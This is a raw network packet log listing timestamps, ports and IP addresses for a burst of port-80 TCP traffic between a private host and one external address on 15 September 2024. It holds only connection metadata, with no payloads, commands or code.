Sep 15, 2024 19:37:36.933943033 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933962107 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933964968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933995008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934027910 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934036970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934061050 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934067965 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934094906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934127092 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934137106 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934160948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934194088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934216976 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934226036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934237957 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934262037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934272051 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934295893 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934303999 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934329987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934334040 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934364080 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934382915 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934396982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934403896 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934429884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934438944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934463978 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.934470892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.934499025 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011277914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011300087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011321068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011334896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011342049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011348009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011360884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011373043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011377096 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011399031 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011435986 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011461973 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011475086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011487007 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011499882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011502981 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011512041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011516094 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011562109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011562109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011840105 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011874914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011893034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011909962 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011915922 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.011940002 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.011951923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.012089014 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018717051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018769979 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018785954 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018804073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018811941 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018841982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018857002 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018891096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018899918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018924952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018930912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018960953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.018970013 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.018996954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019001007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019031048 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019042015 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019068003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019072056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019109011 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019161940 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019195080 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019201994 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019227982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019241095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019263983 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019274950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019301891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019340992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019412041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019421101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019447088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019457102 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019484997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019498110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019540071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019550085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019589901 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019598961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019633055 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019640923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019665003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019669056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019700050 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019707918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019730091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019740105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019763947 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019767046 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019818068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019845963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019860983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019886017 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019918919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019928932 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019952059 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019968987 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.019985914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.019993067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020020008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020056963 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020071030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020091057 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020123005 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020134926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020158052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020169020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020328045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020361900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020371914 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020395041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020422935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020440102 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020456076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020463943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020488977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020494938 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020523071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020530939 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020556927 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020569086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020591021 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020601034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020625114 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020632982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020658970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020673037 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020693064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020728111 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020736933 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020821095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020854950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020869970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020888090 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020899057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020920992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020951986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.020963907 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.020982027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021013975 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021023989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021048069 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021097898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021107912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021131992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021166086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021178961 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021203041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021218061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021245003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021311045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021343946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021357059 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021375895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021406889 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021421909 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021439075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021450996 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021472931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021483898 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021506071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021517992 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021539927 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021552086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021574020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021578074 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021608114 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021620035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021641970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021648884 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021678925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021682024 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021713018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021725893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021748066 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021755934 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021791935 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021840096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021872997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021886110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021905899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021918058 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021943092 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021970987 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.021991968 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.021997929 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022026062 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022059917 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022069931 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022094011 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022094965 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022126913 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022135973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022160053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022171021 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022193909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022209883 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022227049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022259951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022269964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022291899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022326946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022336006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022358894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022366047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022397041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022444010 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022572041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022604942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022638083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022649050 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022730112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022777081 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022779942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022814035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022819042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022846937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022880077 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022891045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022914886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022948027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022959948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.022979975 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.022989035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.023016930 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.023020983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.023066044 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.099891901 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.099927902 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.099945068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.099956989 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.099960089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.099970102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.099975109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.099996090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.100018024 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.100074053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100087881 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100099087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100110054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100121021 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100126028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.100151062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.100239992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100275993 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.100310087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100321054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100332022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100378036 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.100394964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.100436926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107254982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107309103 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107336998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107382059 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107407093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107409000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107443094 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107491016 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107494116 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107527018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107542038 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107562065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107594013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107626915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107675076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107707024 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107739925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107789040 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107820988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107852936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107887030 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107892990 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107922077 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.107928991 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.107970953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108004093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108017921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108037949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108048916 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108122110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108155012 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108176947 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108186007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108189106 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108222008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108232021 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108256102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108268023 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108289957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108298063 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108324051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108331919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108372927 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108463049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108494997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108526945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108560085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108592033 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108623981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108738899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108772039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108803988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108835936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108846903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108870029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108879089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108902931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108937979 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.108946085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.108979940 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109030008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109062910 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109096050 CEST	80	49748	46.8.231.109	192.168.2.6
